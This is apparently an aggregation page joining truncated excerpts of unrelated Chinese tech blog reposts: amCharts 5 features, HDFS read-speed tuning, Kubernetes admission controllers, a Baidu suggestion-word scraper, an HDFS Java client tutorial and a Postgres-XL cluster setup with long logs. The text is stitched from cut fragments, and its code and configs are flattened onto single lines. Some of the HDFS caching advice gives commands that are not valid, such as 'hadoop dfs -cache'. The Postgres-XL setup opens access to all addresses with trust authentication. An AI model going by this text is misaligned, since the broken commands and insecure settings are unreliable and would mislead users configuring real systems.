applying just about any styling option from the CSS arsenal. In addition to formatting support, labels can now contain in-line placeholders for real data, with the ability to apply custom formatting to values. Accessibility & Interactivity Accessibility Accessibility was riding shotgun when amCharts 5 was being developed. All interactive elements are TAB-selectable, with customizable roles, order, and screen-reader texts. Everything that can be moved by touch or mouse, can be moved by keyboard. Everything that can be clicked or toggled, can be interacted with with keyboard, too. Touch support Charts have been designed to work with touch devices out-of-the-box. They will work not only on phones or tablets, but also touch capable computers. Under the hood Built with TypeScript Supports strong type and error checking in TypeScript applications. Enjoy code completion, error checking and dynamic help popups in major IDEs. Full support for TypeScript and ES6 modules. 100% for JavaScript Can be fully used in any vanilla JavaScript application. amCharts 5 does not use or rely on globals, external frameworks or 3rd party libraries. Universal rendering engine Can be used to build dynamic, interactive Canvas-based interfaces and applications. Add various elements to the screen, make them interactive, with a few lines of code. Make them clickable, draggable, hoverable, using built-in interactivity functionality. Our universal layout engine will place, size and arrange elements according to set rules. 本篇文章为转载内容。原文链接：https://blog.csdn.net/john_dwh/article/details/127460821。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...ration(); FileSystem fs = FileSystem.get(conf); Path filePath = new Path("/user/hadoop/input/file.txt"); FSDataInputStream in = null; try { in = fs.open(filePath); byte[] buffer = new byte[1024]; int bytesRead = in.read(buffer); while (bytesRead != -1) { bytesRead = in.read(buffer); } } catch (IOException e) { e.printStackTrace(); } finally { if (in != null) { try { in.close(); } catch (IOException e) { e.printStackTrace(); } } } 这段代码展示了如何从HDFS中读取文件。如果你发现每次执行这段代码时都需要花费很长时间，那么很可能是网络延迟的问题。 2. 数据本地性不足 还记得小时候玩过的接力赛吗？如果接力棒总是从一个人传到另一个人再传回来，效率肯定不高。这就跟生活中的事儿一样啊，在HDFS里头，要是数据没分配到离客户端最近的那个数据节点上，那不是干等着嘛，多浪费时间呀！ 解决方案： 可以通过调整副本策略来改善数据本地性。比如说，默认设置下，HDFS会把文件的备份分散存到集群里的不同机器上。不过呢，如果你想让这个过程变得更高效或者更适合自己的需求，完全可以去调整那个叫dfs.replication的参数！ xml dfs.replication 3 3. 磁盘I/O瓶颈 磁盘读写速度是影响HDFS性能的一个重要因素。要是你的服务器用的是那些老掉牙的机械硬盘，那读文件的速度肯定就慢得像乌龟爬了。 实验验证： 为了测试磁盘I/O的影响，可以尝试将一部分数据迁移到SSD上进行对比实验。好啦，想象一下，你手头有一堆日志文件要对付。先把它们丢到普通的老硬盘（HDD）里待着，然后又挪到固态硬盘（SSD）上，看看读取速度变了多少。是不是感觉像在玩拼图游戏，只不过这次是在折腾文件呢？ 三、进阶优化技巧 经过前面的分析，我们可以得出结论：要提高HDFS的读取速度，不仅仅需要关注硬件层面的问题，还需要从软件配置上下功夫。以下是一些更高级别的优化建议： 1. 增加带宽 带宽就像是高速公路的车道数量，车道越多，车辆通行就越顺畅。对于HDFS来说，增加带宽意味着可以同时传输更多的数据块。 实际操作： 联系你的网络管理员，询问是否有可能升级现有的网络基础设施，比如更换更快的交换机或者部署新的光纤线路。 2. 调整副本策略 默认情况下，HDFS会将每个文件的三个副本均匀分布在整个集群中。然而，在某些特殊场景下，这种做法并不一定是最优解。比如说，你家APP平时就爱扎堆在那几个服务器节点上干活儿，那就可以把副本都放一块儿，这样它们串门聊天、传文件啥的就方便多了，也不用跑太远浪费时间啦！ 配置修改： xml dfs.block.local-path-access.enabled true 3. 使用缓存机制 缓存就像冰箱里的剩饭，拿出来就能直接吃，不用重新加热。HDFS也有类似的机制，叫做“DataNode Cache”。打开这个功能之后啊，那些经常用到的数据就会被暂时存到内存里，这样下次再用的时候就嗖的一下快多了！ 启用步骤： bash hadoop dfsadmin -setSpaceQuota 100g /cachedir hadoop dfs -cache /inputfile /cachedir 四、总结与展望 通过今天的讨论，我相信大家都对HDFS读取速度慢的原因有了更深的理解。其实，无论是网络延迟、数据本地性还是磁盘I/O瓶颈，都不是不可克服的障碍。其实吧，只要咱们肯花点心思去琢磨、去试试，肯定能找出个适合自己情况的办法。 最后，我想说的是，作为一名技术人员，我们应该始终保持好奇心和探索精神。不要害怕失败，也不要急于求成，因为每一次挫折都是一次成长的机会。希望这篇文章能给大家带来启发，让我们一起努力，让Hadoop变得更加高效可靠吧！ --- 以上就是我对“HDFS读取速度慢”的全部看法和建议。如果你还有其他想法或者遇到类似的问题，请随时留言交流。咱们共同进步，一起探索大数据世界的奥秘！

...本地的容器镜像 2.LimitRanger 此准入控制器将确保所有资源请求不会超过namespace级别的LimitRange（定义Pod级别的资源限额，如cpu、mem） 3.ResourceQuota 此准入控制器负责集群的计算资源配额，并确保用户不违反命名空间的ResourceQuota对象中列举的任何约束（定义名称空间级别的配额，如pod数量） 4.PodSecurityPolicy 此准入控制器用于创建和修改pod，并根据请求的安全上下文和可用的Pod安全策略确定是否应该允许它。 4.如何开启准入控制器 在kubernetes环境中，你可以使用kube-apiserver命令结合enable-admission-plugins的flag，后面需要跟上以逗号分割的准入控制器清单，如下所示： kube-apiserver --enable-admission-plugins=NamespaceLifecycle,LimitRanger … 5.如何关闭准入控制器 同理，你可以使用flag：disable-admission-plugins，来关闭不想要的准入控制器，如下所示： kube-apiserver --disable-admission-plugins=PodNodeSelector,AlwaysDeny … 6.实战：控制器的使用 1.LimitRanger 1)首先，编辑limitrange-demo.yaml文件，我们定义了一个cpu的准入控制器。 其中定义了默认值、最小值和最大值等。 apiVersion: v1kind: LimitRangemetadata:name: cpu-limit-rangenamespace: mynsspec:limits:- default: 默认上限cpu: 1000mdefaultRequest:cpu: 1000mmin:cpu: 500mmax:cpu: 2000mmaxLimitRequestRatio: 定义最大值是最小值的几倍，当前为4倍cpu: 4type: Container 2)apply -f之后，我们可以通过get命令来查看LimitRange的配置详情 [root@centos-1 dingqishi] kubectl get LimitRange cpu-limit-range -n mynsNAME CREATED ATcpu-limit-range 2021-10-10T07:38:29Z[root@centos-1 dingqishi] kubectl describe LimitRange cpu-limit-range -n mynsName: cpu-limit-rangeNamespace: mynsType Resource Min Max Default Request Default Limit Max Limit/Request Ratio---- -------- --- --- --------------- ------------- -----------------------Container cpu 500m 2 1 1 4 2.ResourceQuota 1)同理，编辑配置文件resoucequota-demo.yaml，并apply； 其中，我们定义了myns名称空间下的资源配额。 apiVersion: v1kind: ResourceQuotametadata:name: quota-examplenamespace: mynsspec:hard:pods: "5"requests.cpu: "1"requests.memory: 1Gilimits.cpu: "2"limits.memory: 2Gicount/deployments.apps: "2"count/deployments.extensions: "2"persistentvolumeclaims: "2" 2)此时，也可以查看到ResourceQuota的相关配置，是否生效 [root@centos-1 dingqishi] kubectl get ResourceQuota -n mynsNAME CREATED ATquota-example 2021-10-10T08:23:54Z[root@centos-1 dingqishi] kubectl describe ResourceQuota quota-example -n mynsName: quota-exampleNamespace: mynsResource Used Hard-------- ---- ----count/deployments.apps 0 2count/deployments.extensions 0 2limits.cpu 0 2limits.memory 0 2Gipersistentvolumeclaims 0 2pods 0 5requests.cpu 0 1requests.memory 0 1Gi 大家可以将生效后的控制器，结合相关pod自行测试资源配额的申请、限制和使用的情况 本篇文章为转载内容。原文链接：https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...键词"""with open(file_name, mode='r', encoding='utf-8') as file:keys = file.read()return keysdef aim_letter(aim):"""获取到网页的json数据并保存到txt文件"""url = f'https://m.baidu.com/sugrec?pre=1&p=3&ie=utf-8&json=1&prod=wise&from=wise_web&sugsid=128699,138809,114177,135846,141002,138945,140853,141677,138878,137978,141200,140173,131246,132552,137743,138165,107315,138883,140259,141754,140201,138585,141650,138253,140114,136196,140325,140579,133847,140793,140066,134046,131423,137703,110085,127969,140957,141581,140593,140865,139886,138426,138941,141190,140596&net=&os=&sp=null&rm_brand=0&callback=jsonp1&wd{aim}&sugmode=2&lid=12389568409845924354&sugid=1990018821100998871&preqy=java&_=1580993331416'headers = {'User-Agent': Faker().user_agent(),'Host': 'm.baidu.com','Referer': 'https://m.baidu.com/ssid=4348023d/s?word={aim}&ts=3254538&t_kt=0&ie=utf-8&rsv_iqid=2845402975&rsv_t=daabpEKSG2wGueEO%252FnXSVz2dj3oGTk5cF1suYK9xduVIBAnyA5yo&sa=ib&rsv_pq=2845402975&rsv_sug4=5130&tj=1&inputT=2405&sugid=1990018821100998871&ss=100'}res = requests.get(url, headers=headers) 由于获取到的数据不是标准的json数据要进行字符串的删减result = json.loads(res.text.replace('jsonp1', '').strip('()')) 保存到txt文件with open(f'百度下拉词.txt', mode='a', encoding='utf-8') as file:for key in result['g']:file.write(key + '\n')def main():"""进行整合，并捕捉错误"""name = input('请输入文件的名字：')start_time = time.time()try:letter = get_aim(name).split('\n') 利用线程池加快爬取速度with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:for l in letter:executor.submit(get_data, l)except:print('请检查文件名是否存在或者文件名是否错误！！')else: 提示用户完成并打印运行时间时间print('' 30 + f'<{name}> 百度相关词 已完成' + '' 30)finally:print(time.time() - start_time)if __name__ == '__main__':main() 在此 要感谢我的晨哥!!!哈哈 本篇文章为转载内容。原文链接：https://blog.csdn.net/Result_Sea/article/details/104201970。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...y default filesystem URL to use, overrides 'fs.defaultFS' property from configurations.-jt <local|resourcemanager:port> specify a ResourceManager-files <file1,...> specify a comma-separated list of files to be copied to the map reduce cluster-libjars <jar1,...> specify a comma-separated list of jar files to be included in the classpath-archives <archive1,...> specify a comma-separated list of archives to be unarchived on the compute machinesThe general command line syntax is:command [genericOptions] [commandOptions] 查看详细命令 hadoop fs -help 命令（如cat） 更改hdfs的权限 vi core-site.xml <property><name>hadoop.http.staticuser.user</name><value>root</value></property> HDFS客户端API操作 Windows环境配置 将Windows依赖放到文件夹， 配置环境变量，添加HADOOP_HOME ，编辑Path添加%HADOOP_HOME%/bin 拷贝hadoop.dll和winutils.exe到C:\Windows\System32 创建java项目 配置 编辑pom.xml <dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-slf4j-impl</artifactId><version>2.12.0</version></dependency><dependency><groupId>org.apache.hadoop</groupId><artifactId>hadoop-client</artifactId><version>3.1.3</version></dependency></dependencies> 在src/main/resources中建立log4j2.xml 打印日志到控制台 <?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><Root level="error"><AppenderRef ref="Console"/></Root></Loggers></Configuration> 编写代码 在/src/main/java/cn.zcx.hdfs创建TestHDFS类 public class TestHDFS {// 创建全局变量private FileSystem fs;private Configuration conf;private URI uri;private String user;// 从本地上传文件@Testpublic void testUpload() throws IOException {fs.copyFromLocalFile(false,true,new Path("F:\\Download\\使用前说明.txt"),new Path("/testhdfs"));}/ @Before 方法在@Test方法执行之前执行 /@Beforepublic void init() throws IOException, InterruptedException {uri = URI.create("hdfs://master:8020");conf = new Configuration();user = "root";fs = FileSystem.get(uri,conf,user);}/ @After方法在@Test方法结束后执行 /@Afterpublic void close() throws IOException {fs.close();}@Testpublic void testHDFS() throws IOException, InterruptedException {//1. 创建文件系统对象/URI uri = URI.create("hdfs://master:8020");Configuration conf = new Configuration();String user = "root";FileSystem fs = FileSystem.get(uri,conf,user);System.out.println("fs: " + fs);/// 2. 创建一个目录boolean b = fs.mkdirs(new Path("/testhdfs"));System.out.println(b);// 3. 关闭fs.close();} } 参数优先级 xxx-default.xml < xxx-site.xml < IDEA中resource中创建xxx-site.xml < 在代码中通过更改Configuration 参数 文件下载 @Testpublic void testDownload() throws IOException {fs.copyToLocalFile(false,new Path("/testhdfs/使用前说明.txt"),new Path("F:\\Download\\"),true);} 文件更改移动 //改名or移动（路径改变就可以）@Testpublic void testRename() throws IOException {boolean b = fs.rename(new Path("/testhdfs/使用前说明.txt"),new Path("/testhdfs/zcx.txt"));System.out.println(b);} 查看文件详细信息 // 查看文件详情@Testpublic void testListFiles() throws IOException {RemoteIterator<LocatedFileStatus> listFiles = fs.listFiles(new Path("/"), true);//迭代操作while (listFiles.hasNext()){LocatedFileStatus fileStatus = listFiles.next();//获取文件详情System.out.println("文件路径："+fileStatus.getPath());System.out.println("文件权限："+fileStatus.getPermission());System.out.println("文件主人："+fileStatus.getOwner());System.out.println("文件组："+fileStatus.getGroup());System.out.println("文件大小："+fileStatus.getLen());System.out.println("文件副本数："+fileStatus.getReplication());System.out.println("文件块位置："+ Arrays.toString(fileStatus.getBlockLocations()));System.out.println("===============================");} } 文件删除 第二参数，true递归删除 //文件删除@Testpublic void testDelete() throws IOException {boolean b = fs.delete(new Path("/testhdfs/"), true);System.out.println(b);} NN与2NN工作原理 本篇文章为转载内容。原文链接：https://blog.csdn.net/Python1One/article/details/108546050。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...lib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作： [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中，使得gtm节点可以免密码登录xl1~xl2的任意一个节点： [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入，直接enter下一步。直到最后，因为第一次要求输入目标机器的用户密码，输入即可。 下载源码 下载地址：https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装，编译需要一点时间，最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户，修改其环境变量，开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾，新增如下变量配置： export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc，然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句，如果输出变量结果，代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件，编辑如下： 对着模板文件一个一个修改，否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点，设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化，启动，停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果： /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix 